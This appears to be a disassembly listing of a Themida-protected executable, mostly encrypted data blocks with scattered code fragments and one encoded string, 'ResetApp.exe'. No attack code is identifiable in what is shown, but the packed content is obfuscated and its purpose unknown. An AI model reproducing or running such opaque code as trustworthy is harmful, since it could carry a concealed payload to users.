9AD05C0Bh, 3C24905Fh, 0F6190E76h dd 0AB20F070h, 714BA029h, 0AE40D4BCh, 7EDDA5CCh, 68CF0384h dd 8CF5F946h, 0B96607A0h, 81EA5F3Ah, 0DE9DEF05h, 1C3D7EECh dd 9FB61C77h, 0C64EC26Fh, 0F740F57Bh, 791CB10Bh, 0EB805A0Ah dd 0E03F3B2Fh, 2D1B807h, 0C01E6FAEh, 24608272h, 8E02F157h dd 0DE1B7BA0h, 385DFEh, 0E0131B7h, 9C8E5933h, 4A801CEBh dd 0FDA339E6h, 4003C63h, 0F3C74611h, 983D9F89h, 0C4A00970h dd 4898DE18h, 0C61C4A39h, 6785B69Ch, 0ACACA0F9h, 46601493h dd 26428305h, 8934FC92h, 0C4980ABDh, 0C890D83Fh, 3F1440C5h dd 313B466h, 48A2ED17h, 0EC578B00h, 3229DEDDh, 0A79E3502h dd 6040D78Ah, 5CF8ED70h, 6A80403Ch, 38D12D41h, 41937F30h dd 1E89E79Ah, 8095E4BBh, 0ADC4D431h, 454BDEE8h, 882A8CD0h dd 0B5B824D6h, 0C9EE0094h, 2887C863h, 5B3B1009h, 56BC0341h dd 0BAAA4BFh, 4C84C6B0h, 0E8754918h, 4660AB0h, 4978AB38h dd 906682AFh, 0F9183CE0h, 0EC20A65Eh, 4E9EB3B4h, 33CA2EDh dd 31AB922Ah, 3742D17Ch, 0E8F4A4D5h, 0E050F5AEh, 13D217F2h dd 309E7135h, 0D0FE26CCh, 0E1686100h, 0F9AC4117h, 1FF70E44h dd 74E13673h, 0EC61A2EDh, 40A00F3Ch, 2CB84A88h, 385DB413h dd 8F8BE008h, 0E1095015h, 0A9F91048h, 0CA407CB4h, 0FA9D762Fh dd 8AAE0F30h, 9084CB60h, 56E0D0AAh, 0B1C61C14h, 7391A5Ch dd 0BFB41894h, 0E00A60C2h, 9B00254Ah, 1A11D848h, 0B0FB64CFh dd 0CC9A5E04h, 3D006C88h, 0C86506E5h, 0BFB634E7h, 648D9890h dd 0D847DF27h, 0C59F3AAEh, 0AE48AD83h, 0BFF0D1E7h, 794BDADEh dd 63968490h, 0E93F1DF6h, 91E4022h, 920776B3h, 1A4FFC05h dd 78048FE2h, 1B4F0DA7h, 59503092h, 0D8A4D91Ah, 0D0C8F94Fh dd 9FB7F61Bh, 66132082h, 0C0000866h, 1679642Bh, 43196h dd 34C5B3C8h, 92CEC4D2h, 99A46B09h, 6E3001EDh, 203AAF84h dd 272AD138h, 0E3E28D00h, 0FA1153C8h, 5E894C4h, 0A2DB26E6h dd 5ABD0010h, 1374D8F9h, 0BB4E0062h, 3954BF22h, 0A9007BD9h dd 8DD33017h, 4ADE4F8h, 0D4634A6Fh, 80F0F836h, 5F42B51Ch dd 12676BAh, 54A24CDAh, 0C0A063E8h, 0A50937B2h, 1274757h dd 6E150580h, 89FC5470h, 0BC733Dh, 190B3503h, 710EFC2h dd 7597E4EBh, 0B8E6C4D6h, 677E8088h, 0BAF83Fh, 0E522FDB6h dd 0CF59E8A1h, 0C88C184Eh, 9FD9F0CEh, 68C4A098h, 6AAC4900h dd 8C282591h, 7F31C5B0h, 2D1C03F6h, 95F0E4E0h, 807EB25h dd 0B3C0BD77h, 1541424Fh, 0A0A8C33Bh, 3DEA695Ah, 0C84EA17Eh dd 29078DCCh, 5B054FCAh, 21FCB730h, 0D38500F2h, 98C7F15Ch dd 0C63F04B1h, 4B73A552h, 0BA48D87Ch, 0C2780050h, 11939DBFh dd 87F22ECDh, 0D5CCFB04h, 20AFF7F9h, 76E5420h, 1FE1820Bh dd 9C478120h, 72703A3Dh, 3C755CD0h, 986B440h, 0CB7AA7BDh dd 0B802487Ch, 0DC8C2662h, 4D2442E0h, 0C0C6F1E2h, 462A9603h dd 8094E41Ch, 9B9095Fh, 9827D0EDh, 1C61B412h, 0C0207B6Ah dd 124B6Eh, 6D0F08D3h, 76F639F8h, 27DF4F3Eh, 31CF0A4h dd 0B0B7D3CDh, 0D2B493D7h, 0BCD11788h, 64D9C600h, 155DD54h dd 0DC656096h, 0C3622A32h, 3BA07EC9h, 0A357DC80h, 0A8F92403h dd 6D8C40B8h, 8D17C808h, 34887E81h, 0DBD92E65h, 17F36350h dd 4AE25F8h, 7C7DA47Eh, 0AC952E00h, 76D886D1h, 88265F6Ah dd 0B900FBE0h, 3491B664h, 144072E4h, 0E8CA31E8h, 0FA15710Bh dd 123BD000h, 0BE0BC057h, 9CD9F3h, 285DF558h, 0BF85F4D6h dd 264EA000h, 0C804595h, 225C98D0h, 0C8005E90h, 6B308C44h dd 9974D4EAh, 0A5F50004h, 0C04F42F1h, 8AED1E02h, 0E1389EF2h dd 0E8393F75h, 35EF0700h, 6F058A4h, 0FFB24202h, 0E6750CBDh dd 0FC3C1730h, 5FCF00ADh, 1AB184C5h, 0F84A4525h, 0F098011Ch dd 0B41D92D1h, 0E0233A75h, 4A02C8BAh, 9C501CA0h, 0E87409Dh dd 244198BFh, 26DAA3Fh, 3F209654h, 40047428h, 1C8F8D89h dd 0A3F96412h, 9600D0B3h, 5ED1B7A7h, 640541A4h, 7A3282Dh dd 7D559CC1h, 3D1EA422h, 0DBF6C006h, 0ABA24957h, 55ED8E09h dd 42B4DC0Fh, 0C54699Ch, 4D151E05h, 8D8198ADh, 32AC3868h dd 0ADE9008Ch, 0AB5AC092h, 0B5A60B36h, 8704ED5h, 0F020CD4Eh dd 0E27F4301h, 0B60400FBh, 97B8107Eh, 0BF27B9Fh, 416F1501h dd 95A6155h, 2C9091h, 0C97C6AD1h, 51FC373h, 0D397282Ah dd 1682C03Bh, 44FD6E6h, 0C27228DCh, 0F87DC3F8h, 18E14320h dd 1897B0Bh, 99EE21BFh, 30AB6A6Eh, 87E67F38h, 93800F11h dd 24DAB800h, 75A14DC6h, 52A8C225h, 0A3C70190h, 0ECF15D11h dd 4C03CE6h, 0F2828022h, 0A948A480h, 36141293h, 3884F20Bh dd 0B42D89E3h, 0FFF300BCh, 4F099EBh, 0E623BA6Eh, 960F8CFh dd 4845C566h, 39D63970h, 27ACAC7h, 0F625CB12h, 8841AB16h dd 7F7884B5h, 1F81F163h, 72F44F13h, 0F8B0975Eh, 0C839495Fh dd 5C56A65Bh, 0B46E441Eh, 4611D847h, 0C2C8C4E1h, 68B730D5h dd 899363AAh, 0E8E25D4Ah, 5BA46E3Bh, 436262Dh, 0C23DE924h dd 74407334h, 3300F14Ch, 91208CDCh, 0FA88ECD5h, 0ABFF0925h dd 8545B14h, 688C5500h, 0F6C2E411h, 80E89EAFh, 9B7D548Ah dd 0DD13A5A6h, 0BBD758h, 35961364h, 0BB3AC836h, 92CF80DCh dd 4F1E81Fh, 0AB5913CEh, 45DC207Ah, 0B600AF70h, 0D884A748h dd 56D3B65h, 0F488193Dh, 6A8003C6h, 0C9FDE31Ah, 80CC28D4h dd 631D7209h, 17B00030h, 9CF0506Bh, 950034D3h, 0A8E008C1h dd 0BDF1D63Eh, 45911030h, 0C470CF89h, 0AF4A25FBh, 0AE747C48h dd 0D2C57F00h, 75B96ED5h, 0ECE45C1Bh, 0CC9E36C0h, 0A7F6C048h dd 0CFA3E13Ah, 0BC23EC27h, 0BF80C56Ch, 23C7C6h, 59BEBF9h dd 1FCEEFF0h, 38A03090h, 0E14FBD55h, 76E82809h, 291504ACh dd 0B1ECA446h, 2E14910Fh, 4A3CC0D7h, 60F8B9A9h, 0EC27C9A6h dd 10BF26D3h, 4A7E14h, 4CD9BF69h, 0FE564E65h, 0BB3F1400h dd 83733068h, 6768C0B4h, 95ECA620h, 0A8F8CD12h, 44755C22h dd 911E3B40h, 558AB401h, 44DF19FCh, 9F943070h, 0CD00A12Ah dd 6F203554h, 9C7F3C8h, 7D58B650h, 8683A010h, 0AC427100h dd 698F7E30h, 8E80FFAh, 0E7CB22C1h, 0D4021064h, 0BF7516F7h dd 48AD4015h, 80210F53h, 0C28117CAh, 286EB088h, 59050598h dd 0FB8194C4h, 0F6C4585Dh, 0C71B292Bh, 17F8A6D4h, 65F0D1E3h dd 22A7E458h, 0CC9994F0h, 0E1A1E703h, 54ADA206h, 9488030h dd 3968B5FFh, 0CC08E900h, 4A6A8052h, 9EF31C51h, 0A8D2922Eh dd 0C4D02DF4h, 0F6170B18h dd 378701CFh, 28CAF1h, 11047A24h, 1038FC31h, 169B8013h dd 36FA779Eh, 66E200FDh, 1C65CC58h, 9C9853DAh, 45D4D613h dd 0C076F092h, 0BDC4E1h, 0DAFBC159h, 78A7853Eh, 4B32AD00h dd 0BC08E21h, 0B8B94867h, 129F9426h, 9208FCC5h, 4092CF0Fh dd 0A15B01Ah, 8ED0036h, 656CF5E6h, 64975542h, 9798A174h dd 394D9070h, 48035EAh, 3A59E085h, 480506E5h, 0BF4F2F96h dd 6C8000E8h, 0CBB92D93h, 43DD400Eh, 0F220216Eh, 70B6D9h dd 0A2F82CF7h, 0B353C07Ch, 4C9F55DEh, 4B8000D4h, 54D9EC01h dd 0E548BD77h, 0DF520590h, 1C834CB8h, 9F44BFB4h, 2E808CACh dd 0A68ECC4h, 1A97D003h, 981F23FFh, 0FE4364A2h, 0C7D30026h dd 8A6A69B6h, 1825C4E3h, 2684D1D9h, 59D240A0h, 0CB028424h dd 0CCFFED9Fh, 7EC51D0h, 9073512Fh, 0E7D2C48Bh, 46269D2Fh dd 8E9044F0h, 29B94904h, 0F8C3A7F2h, 51EC9287h, 0D7430FA8h dd 0A6B5F1C0h, 57738E2Eh, 0D5809A00h, 300DC107h, 4B5E0978h dd 74C84627h, 0B05CA33h, 0AF7DE8DCh, 0F40308BDh, 61D73DF9h dd 0B6D806D0h, 66EA7500h, 45F5C4A4h, 228E4E26h, 0AC7E6104h dd 0A4508A11h, 6EC80085h, 5D2ABCA4h, 7CB1F2A8h, 1F98C981h dd 0BF60894Ah, 0B522015Bh, 0F630D1A2h, 0C539C4B8h, 0B8023F4Bh dd 573EDE8Bh, 0ADE86898h, 5D28E897h, 0B75B003Dh, 513026E9h dd 2CB0044Ch, 641A6625h, 6AC0F12Ch, 0B5810009h, 0EE5E4C36h dd 72009CE5h, 0A35764D1h, 1C9824A2h, 0C1D55606h, 0F0071B9Eh dd 729BC528h, 0C70458D0h, 3720DD2Ah, 7E37D8Dh, 0A8A5540Dh dd 5627B529h, 1CD8F318h, 44C1722Eh, 0BCAAAEB6h, 146E5C20h dd 8CECDEC5h, 0DD009CC9h, 4A87064h, 0CA17FA26h, 4AE14B00h dd 2CB8C633h, 0B7ED2Ah, 0CE8F983Bh, 1C5DE85Bh, 99141814h dd 17AD9D0h, 0FAB567C4h, 2AF040B2h, 9AAA7420h, 0CB2E00B8h dd 53FD4594h, 0AB014D25h, 41CC2177h, 9EC56D6h, 1A8C3DEDh dd 0E529F400h, 0E784B55Eh, 0C01CC54Ch, 70CE965Bh, 0B8E35E61h dd 3638B6h, 7EB3CADEh, 9DCD6AD5h, 751EE4C4h, 0C2000E10h dd 70151B81h, 418D030Ah, 2FCA6B26h, 616AD4B0h, 32670C0Ch dd 2C45617h, 186CF7B5h, 40D44233h, 0B7CA834Fh, 0EE3A883Bh dd 24220037h, 9EB05768h, 0D4046EDDh, 7F04FE53h, 440068F9h dd 31A790B2h, 0A1045ABFh, 0E2B02CF4h, 0EF48Ch, 3673A659h dd 44233295h, 0E575F600h, 1E1CBB3Ah, 0BAE83178h, 0E8D55B78h dd 4200B837h, 558924C4h, 7FF015A2h, 1DE6001Bh, 872A0FC9h dd 0E103A458h, 3E94A6CDh, 68380056h, 0E02D89A3h, 2E3DE75Ch dd 0A5670376h, 0B7ED1FE1h, 0A680B8A7h, 22E45EE6h, 6F302A2Eh dd 80417947h, 6B3E005Fh, 99E574CFh, 3B001BEFh, 36557954h dd 733D3321h, 0EC8C7553h, 34E318BEh, 0B8EA493Fh, 1E755500h dd 916C7466h, 92F087h, 0D07BA2FDh, 821451E9h, 96013675h dd 0E427F3Bh, 408037B5h, 0BCF9C44h, 98068418h, 0D78B32ACh dd 506C50D4h, 0DF173FE6h, 8736A900h, 0F1F7CF41h, 8D6B203h dd 0D18C6705h, 9187BACBh, 0A31C5137h, 11124F6Ch, 0E01FDB90h dd 0B9B57800h, 311969Dh, 95268F87h, 287857CFh, 0BA4B7500h dd 73EA74C8h, 3970E3D7h, 0D4F707C5h, 0B00586CAh, 0F9CC48A5h dd 23FA7900h, 0E143DCBEh, 0DEF400F8h, 4B57F5D7h, 0BC606750h dd 0C2B25DE1h, 381926A0h, 0C09037A5h, 76645EDBh, 0BE12740Fh dd 0D4C6200Fh, 282EDAB6h, 114396Fh, 97528F3Fh, 0BEBECAFEh dd 75BC00A9h, 19E2583Ch, 15E07E45h, 8033948Ch, 0FA13520Eh dd 0F9822960h, 4E78019Eh, 38B30A00h, 0EA1479DBh, 7F2E0C8Ch dd 0AAA93F39h, 0C7572F00h, 0EE6BD7C8h, 686C4C01h, 0F8EA8200h dd 0B7AB53F2h, 5C43306h, 894C56h, 17E42CEDh, 980A79BEh dd 2D99200h, 3BF90EB5h, 54577548h, 5A84B3h, 0D980DDCCh dd 0D2141B15h, 42637200h, 7C41B412h, 7FB618CBh, 402F58D4h dd 7FE99C0h, 3AF1BBAh, 0CB358B4Dh, 7CF83A1Dh, 4300BC7Dh dd 0BD22FA5Dh, 7A3CDAh, 0F66C3659h, 0D7B05FD5h, 0B8715118h dd 0A861181h, 4194C59Ch, 0CD218094h, 0A5E5F54Fh, 0E71D7503h dd 0C60CB7h, 41474431h, 0EC3C649Dh, 7A9663Ch, 185BAD0Dh dd 451CB070h, 0ED26021Eh, 95778F2Bh, 3C00AC44h, 594E81F7h dd 0EF2529h, 0D088A60Fh, 0B1A83F7Eh, 9D650403h, 0D039563Ch dd 90B7F61Ah, 3EB40162h, 8473E17Bh, 8900DF0Dh, 862BF298h dd 0E6DEEF1Ch, 5060A095h, 199300B5h, 3C8BA87Ch, 6D48906Fh dd 43270128h, 0ECD536D8h, 4C752424h, 0A80F1CA0h, 5540521Ch dd 617EB1AAh, 0CF37AA90h, 771029D6h, 1D0E3F11h, 45E640FEh dd 40456CA9h, 0BACE05F8h, 0AF0374C7h, 640B92Fh, 62CAC0F8h dd 0B58307EBh, 0E603D03Dh, 420051E8h, 5292365Ch, 0FC5AD3h dd 0B819485Dh, 2E6E1F13h, 9929E763h, 0A8A7B931h, 304714C0h dd 0E04E054Eh, 8006FC7Ah, 516CBE13h, 311B0089h, 5362B968h dd 543DEC4Ch, 0ABB60F06h, 52C0A275h, 52C0446Eh, 0F8019893h dd 0C024FBC4h, 0E303CC98h, 2E76BE00h, 0AECFE982h, 8CE117D1h dd 0F971033Ch, 39003094h, 376FC09Ch, 7CFA11h, 4504E5B9h dd 2821B51Dh, 0CC3CA53Bh, 29CDC068h, 5C6DC6Fh, 0FC0302F8h dd 115B80DEh, 5B003E9Dh, 4BCA6E7Bh, 0C64D55E8h, 0A09E36D1h dd 26BDF109h, 432A00D8h, 5817B992h, 610CCA60h, 6E913694h dd 1E2C3C07h, 0AEC07755h, 71890B74h, 0F1A0000Ah, 0F7238811h dd 3A01B319h, 51E78D68h, 0A183B667h, 16C0E60Bh, 0DE8CDD80h dd 0A3841100h, 47533C97h, 2BB609BCh, 0CC0060CDh, 0D76F6D0Dh dd 1C0AF8F0h, 0D8D3D138h, 0B7646280h, 7A16E554h, 241D7741h dd 41DC30CFh, 0FFDBE8ACh, 43490AA8h, 0E3C29D2Dh, 41D9C2DFh dd 0D4303A00h, 99C76169h, 5154B0CAh, 80ED2F88h, 6E7F6C69h dd 188A0217h, 0A8DA8C8Eh, 0CB027ABFh, 2EE91486h, 6C8CA332h dd 5410046h, 9981BD1h, 36FC2D17h, 7AA26D00h, 0A1B4CE50h dd 0A7560E35h, 0FF07417Ch, 7214C251h, 11869040h, 4718BE24h dd 0F0DB3706h, 84680389h, 0CA0E28B2h, 0FE1AB11Ch, 8E9EAAC0h dd 0BED127h, 78BDEFFBh, 4016B802h, 6450FC13h, 35932821h dd 0D200A9BBh, 91B021F0h, 620112F5h, 0E6541F38h, 24220C88h dd 6D207907h, 9ACEB025h, 0A0B0D303h, 0E7055B1Eh, 6B2E1C85h dd 6F87F480h, 23F9C35Ah, 0FA0B1BDh, 771F7AE9h, 36CD66BFh dd 3C3021D3h, 1E43022Eh, 0BACC98FAh, 507638C0h, 8338684Ch dd 655B9CAh, 9495CC31h, 0ED1CB924h, 0EB43A6D9h, 80966731h dd 3CE585h, 0A9F1B5D3h, 68F4E154h, 0A1163CB8h, 684AD833h dd 0BC11847Dh, 3881C12h, 0B708446Eh, 0C07E2028h, 2FF1AC16h dd 0B0E04827h, 459BBAh, 2877FF86h, 32D26B43h, 0A5002F74h dd 0B8E80D5Fh, 7319851Ch, 524B0620h, 69B10CA3h, 8A98300Fh dd 80B7C04Fh, 6D18544h, 6CF3E443h, 4100E158h, 2021BE63h dd 0EAE14F69h, 0E2F3026Dh, 6FAA66C1h, 650774C4h, 0C530883Ch dd 0D032C0F3h, 4CB5627Eh, 887CFC3Ah, 6100242Ch, 0E39A34D6h dd 12710EDBh, 21DC555h, 2EF9DC08h, 0FD00ECC4h, 64247C82h dd 3AA4803Dh, 5CDC8821h, 0DB36AD08h, 7AE45680h, 2E16Ah dd 4311BDE9h, 4497E264h, 35900C12h, 68294830h, 857C9Fh dd 49209A3Dh, 0A5260EEh, 0EE18000h, 0D9E88AEh, 65B888AFh dd 2D1CA9E8h, 0B441DAF5h, 0CB0D7FECh, 0E8FA2180h, 0A6ED9BDh dd 7B099C00h, 0DB285FC6h dd 6CCA0072h, 0E9EF8B9Ah, 88184662h, 9039AE0Dh, 0EA800757h dd 60CB756Dh, 24BC1864h, 99501C7Dh, 0B6057AF8h, 30AC6973h dd 801488h, 0C0552D2Ch, 367D0B28h, 0E2BC0EFh, 0FF59C863h dd 4B9AA838h, 7DB4C59h, 0AC2A8000h, 0C8B5179Eh, 2C2EC575h dd 0F880A85Ah, 0E389D784h, 0C0490C62h, 5A49B00Ch, 2B5E4B0Eh dd 0E4E2407Fh, 4CD7095Ch, 0AB099CB8h, 0D88005C8h, 0CC4A2E83h dd 8700A57Ch, 896C6FA7h, 75811Dh, 7ADB6625h, 11184A4Ch dd 4E8B848h, 71504E2Eh, 0B060B4C9h, 0CC0C30C1h, 75791111h dd 7448F82Eh, 0E9A14E00h, 8F52E7h, 3CF53268h, 6BCA662h dd 13BD2E00h, 93C73342h, 0CCD5001Ch, 0B6652F04h, 8F02028Ah dd 91FE7908h, 6F9D81D3h, 9C243B2Eh, 1EE302FCh, 6D2DCF72h dd 580030C4h, 0C1456A22h, 2E21F7BFh, 136993E7h, 5AA807C0h dd 553D1050h, 7401CA5Dh, 0E0CD602h, 3A105256h, 0EEECF217h dd 2C57D203h, 848B864Dh, 3B3834C1h, 2368024h, 0B2A8A921h dd 7C640B0Eh, 561600Eh, 4F7B8770h, 3104C0AFh, 1738A828h dd 88E5D96h, 0EE80EC04h, 54709172h, 1C0F4CD8h, 0B4CB922h dd 0FEA7068Dh, 4C995355h, 2A000728h, 820D9084h, 420026B1h dd 3B8310C5h, 94752C6Dh, 1C241F0h, 551CF874h, 0DEEDF900h dd 0D482CD1Eh, 7C3B0020h, 7AE3886Eh, 0E4602E72h, 0C9A3B991h dd 0B8214FA5h, 8A700F9h, 0F6661781h, 1CD89005h, 62D636ACh dd 80840E48h, 0C1AD1AF1h, 406B02F8h, 2FAC5DEEh, 160FD490h dd 440142EEh, 0E3BE5FC0h, 0A4503C2Eh, 2EFF1CE1h, 40BC6F84h dd 20B49C86h, 0ED668200h, 2FB2B0F7h, 0F63502C2h, 69FCAEA6h dd 88D5C6C3h, 0B800A4D0h, 317E874Ch, 7B7A5EBEh, 5250007Bh dd 7484FD39h, 0C0C2DE1Ch, 51C0D4A6h, 0B2CC007Ch, 0CE4C1A11h dd 7AAADB00h, 8B01A2FBh, 7F351DC4h, 83E90421h, 0E09487FEh dd 17B8856Ch, 2FA59C0Ch, 5CBF81EAh, 970EDD06h, 6540B1C5h dd 0F01D04F1h, 0D8381912h, 1282FC24h, 16C5AB0h, 8F1D62CCh dd 80CD0B02h, 83CE6391h, 0EE823A10h, 0EE130087h, 74754807h dd 70F5AF7Ch, 9139E954h, 85551F24h, 1767FC42h, 7256h, 0D4C58AADh dd 0FB28AFE7h, 24BB10Bh, 9F3498E5h, 77D5789Bh, 14E10CABh dd 0A8E0FF79h, 4EB2CA1Ah, 1CE01849h, 0F2A20023h, 5EB4171Ah dd 86002B45h, 0DD6C666Dh, 7355B8h, 945314F7h, 0E4D37D98h dd 0E92EEF18h, 7EC78071h, 0BCBA2C91h, 0DCF2006Fh, 3E1AC91Ch dd 32D55D1Dh, 6700706Ch, 0F633B79Fh, 1DDE0066h, 78D48812h dd 4F53CB74h, 94F81C9Ch, 2CE911F0h, 6248014Bh, 5DDA01B7h dd 793CC8B6h, 0A753F200h, 22B44642h, 803C9E56h, 0F5F03620h dd 30960123h, 0FFA09841h, 5819D3E0h, 0E5800C0Eh, 0EBBFE3ADh dd 0BB2FC738h, 7B900DDh, 45DF38BBh, 50FF0B9Dh, 0A8819B1Ch dd 70C46261h, 8F0FAA29h, 806F67BCh, 0C83A5D7h, 0C9CA00E9h dd 7D55770Eh, 8F78A0BDh, 0D64480B0h, 4C910Dh, 4624B69Bh dd 0D701EBA1h, 900110A6h, 0EF60EC5Ch, 0DD0802D4h, 0E2FAFED6h dd 903EEC98h, 0A8805100h, 8CF832F3h, 0E910022Eh, 82BA3995h dd 7074F841h, 0B86EA4h, 6CCFCD14h, 72080F8h, 76E8119Fh dd 32DC0028h, 6B5B3CDBh, 0C09E9519h, 0FCA70183h, 0F8738814h dd 59B430CAh, 6E10D741h, 291BD914h, 0C0332EC0h, 2C436F16h dd 0C01E32BEh, 14685D49h, 84BB488Bh, 38E3116h, 0E5394E5Ch dd 0D76CC900h, 0F8AAA8D3h, 0D07F0013h, 7AB9D436h, 737145E0h dd 258044B9h, 7637096h, 1B8709Bh, 1682B313h, 220D2B0Bh dd 78439ACh, 2C59E95Eh, 11C83240h, 8E520E9Fh, 0BAE05021h dd 76565FD7h, 78CB5B0Ah, 5501F5DFh, 157C127Fh, 5C5041C0h dd 0A483EC6Fh, 9BA83DB2h, 241290F9h, 4C9055F7h, 0BF82F4h dd 6E564F2Ah, 0EE7BACF9h, 12535522h, 92064Dh, 0B1D1AECFh dd 65E09E91h, 0CB466E00h, 36E91186h, 0B2E1C338h, 45F7681Ah dd 9E10CC41h, 0EB203F1Eh, 629D9340h, 0A0978Bh, 47B85114h dd 9065C77Ch, 91ED8000h, 74FB58F5h, 33E7425h, 53F48887h dd 7A9B8A51h, 5030A480h, 0ABEFEB00h, 1B87D7DCh, 47A00077h dd 37A8217h, 0B303898Fh, 0EAD0FA94h, 2959D03Bh, 31E51FECh dd 6448F099h, 67071BF5h, 5E6AA813h, 1F1987C6h, 80C35CBFh dd 0EE8F1EBh, 2F00628Eh, 2174177Eh, 308C93AFh, 0D906472h dd 130020FDh, 7736B4C6h, 0C84A7EDh, 82994292h, 33008551h dd 0BC4A12E3h, 31A9760h, 849C35D4h, 491C71EFh, 7080B0C4h dd 61F050A8h, 0E897F39h, 86EC7295h, 0D02975ACh, 0A49E000h dd 8C2B7123h, 3019C184h, 0DB6A9A59h, 0B29D3AF8h, 4AFDD600h dd 274635D1h, 1A440E08h, 0F465D984h, 6260038Bh, 98A050E3h dd 0C1294AE4h, 0FF7F01CCh, 0B0FDh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54B46B: ; CODE XREF: start:loc_4E1265j ; DATA XREF: start:loc_4E1086o jmp loc_54E900 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 0A2A00Fh, 0Dh dup(0) dd 76E9h, 521E0A13h, 3 dup(0) dd 0FF4D78DDh, 7D1h, 5 dup(0) dd 6764h, 2 dup(0) dd 0FFFC0608h, 0 dd offset word_5875A2 dd 8 dup(0) dd offset byte_5A3033 dd 0A270C4h, 4 dup(0) dd 77E6D706h, 0 dd 701C2719h, 0 dd 88h, 385FF68h, 0 dd 0B4h, 3 dup(0) dd 1FDB0000h, 0 aB: dw 3Eh unicode 0, <¡>,0 align 4 aZk db '§Š',0 align 4 dd offset loc_5A52DF dd offset byte_5A57ED dd 0 dd 6764h, 3 dup(0) dd 77E82764h, 3 dup(0) dd offset loc_54F6B0 dd 8 dup(0) ; --------------------------------------------------------------------------- dec ebp retn ; --------------------------------------------------------------------------- dw 0C9Fh dd 18h dup(0) dd 7FFE0304h, 3 dup(0) dd 0A6481E57h, 77D4C96Ah, 0 dd offset dword_5CFE0C dd 2 dup(0) dd 2F678DFFh, 4 dup(0) dd 89971739h, 0Bh dup(0) dd 0FFA63332h, 4 dup(0) dd 6CF8h, 3 dup(0) dd offset loc_59442B dd 0A29499h, 0 dd 30DFh, 77D4C96Ah, 0 dd 0FFFFFFFFh, 80h dup(0) dd 0FFFFFFFEh, 2 dup(0) dd 3E95DD3Ah, 0 dd 77E79D5Bh, 77E82168h, 0A269DDh, 2 dup(0) dd 0FFFFFF68h, 0A280105h, 58B1D1h, 58E45Ah, 0A209F7h, 3 dup(0) dd 0ACh, 9 dup(0) dd offset word_598B0A dd 3 dup(0) dd 7FFE0304h, 0 dd 0FFFFFFDEh, 8Ch, 0FFFF8FC4h, 2 dup(0) dd 0A2FA56h, 5BBDCBh, 4 dup(0) dd 7FFE0304h, 5 dup(0) dd 130CF171h, 2 dup(0) dd 7FFE0304h, 0Ah dup(0) ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A1h, 65h, 1 ; --------------------------------------------------------------------------- jmp short loc_54BA19 ; --------------------------------------------------------------------------- dw 40h dd 7 dup(0) dd 0FA443000h, 580BE8h, 77DD189Ah, 3 dup(0) dd 0E663AF15h, 7FFE0304h, 2 dup(0) db 15h ; --------------------------------------------------------------------------- loc_54BA19: ; CODE XREF: Themida_:0054B9D0j db 65h pop eax add [eax], ch retf ; --------------------------------------------------------------------------- dw 8052h dd 2 dup(0) dd 12FFA4h, 0 dd 4CB65003h, 3 dup(0) dd 77F7EBB3h, 6, 7 dup(0) dd 0F1E21A7Ah, 0 dd 0A33268h, 7FFE0304h, 3 dup(0) dd 0A2915Bh, 2Dh, 0A25E2Eh, 0 dd 0EF7396E8h, 6 dup(0) dd 35000h, 4 dup(0) dd 0FEF5A728h, 0Ch dup(0) dd 7FFE4F28h, 2 dup(0) dd 0AEC50B6Eh, 0 dd 1D2FFB0h, 0FFA43FC4h, 2 dup(0) dd 8001FCFCh, 385FF68h, 0D1A6568Dh, 57FA51h, 54C824h, 2 dup(0) dd 1C032h, 97D8EA5h, 5BB8B0h, 54F2DEh, 58DC4Ah, 6 dup(0) dd 0BF0654Dh, 0 dd 0C246DA44h, 54CB8Ch, 7 dup(0) dd 3038h, 6 dup(0) dd 0A269DDh, 6 dup(0) dd 2, 6 dup(0) dd 0A29393h, 77E776CDh, 3 dup(0) dd 74736552h, 41747261h, 652E7070h, 6578h, 0 dd 8001FCFCh, 9 dup(0) dd 99AEh, 3 dup(0) dd 1, 9 dup(0) dd 12FF60h, 77E7AC5Eh, 9 dup(0) dd 84A7h, 2 dup(0) dd offset loc_586443 align 10h dd 7FFEFFFFh, 12FFA4h, 7FFE0304h, 5 dup(0) dd 0A8h, 0Eh dup(0) dd 0A4h, 2 dup(0) dd 0E569h, 8AA7h, 0 dd 0A6A5E7h, 11h dup(0) dd 110000h, 4 dup(0) dd offset dword_5C4CC0 dd 0 dd offset sub_401000 align 10h dd 0FFFFFFFFh, 2 dup(0) dd 77E82FE8h, 4 dup(0) dd 0B00000h, 0 dd 0D3412004h, 0Ah dup(0) dd offset loc_57FCAA align 10h dd offset loc_57AE66+2 align 8 dd 6764h, 7 dup(0) dd 77E75CB5h, 0 dd 0A4B134h, 4 dup(0) dd 8A92h, 4 dup(0) dd 30DFh, 0 aFm: unicode 0, <F¬>,0 align 10h dd offset loc_5D196A dd 4 dup(0) dd 0A269DDh, 0BAD46B5Ah, 5 dup(0) dd 25C0000h, 6 dup(0) dd offset word_5A686A dd 0 dd 0C7139DBBh, 7C1F0861h, 77F51B2Bh, 7FFE0304h, 3 dup(0) dd 0FA3AF4A2h, 0 dd 0FFFF47FBh, 0A23145h, 4 dup(0) dd 0A2A00Fh, 2 dup(0) dd 77E7C785h, 4 dup(0) dd 3F9F8h, 14h dup(0) dd 385FF68h, 0E1DE586h, 33050552h, 5 dup(0) dd offset loc_5933FC+3 dd 0 dd 0FBD3h, 2 dup(0) dd 0FFFFFFFFh, 5 dup(0) dd 0A97A6D2h, 2 dup(0) dd 0F7405741h, 3 dup(0) dd 2, 3 dup(0) dd 0FFFF912Ch, 8 dup(0) dd 25C0000h, 3 dup(0) dd 5B318BF1h, 4 dup(0) dd 80h, 6 dup(0) dd 7FFE0304h, 59BD8Eh, 0D0987289h, 7 dup(0) dd 0A9C530DFh, 2 dup(0) ; --------------------------------------------------------------------------- daa jns short loc_54C08B retf ; --------------------------------------------------------------------------- dd 3 dup(0) dd 0A1D554h db 3 dup(0) ; --------------------------------------------------------------------------- loc_54C08B: ; CODE XREF: Themida_:0054C075j add [edx-53h], al pop ecx ; --------------------------------------------------------------------------- db 0 dd 7 dup(0) dd 3CA00h, 0 dd 0F6052184h, 0 dd 0FD3CA2A0h, 8 dup(0) dd 1, 54EE9Dh, 0 dd 0A3F45D88h, 0 dd 0E1014h, 5 dup(0) dd 385FF68h, 0 dd 7FFE0304h, 57FCFAh, 77E776CDh, 20h dup(0) dd offset loc_586443 align 8 dd offset byte_5776CD dd 0FFA3ED3Ch, 5A083Ch, 2 dup(0) dd offset word_5A7CDA dd 2 dup(0) db 0CCh db 5Eh, 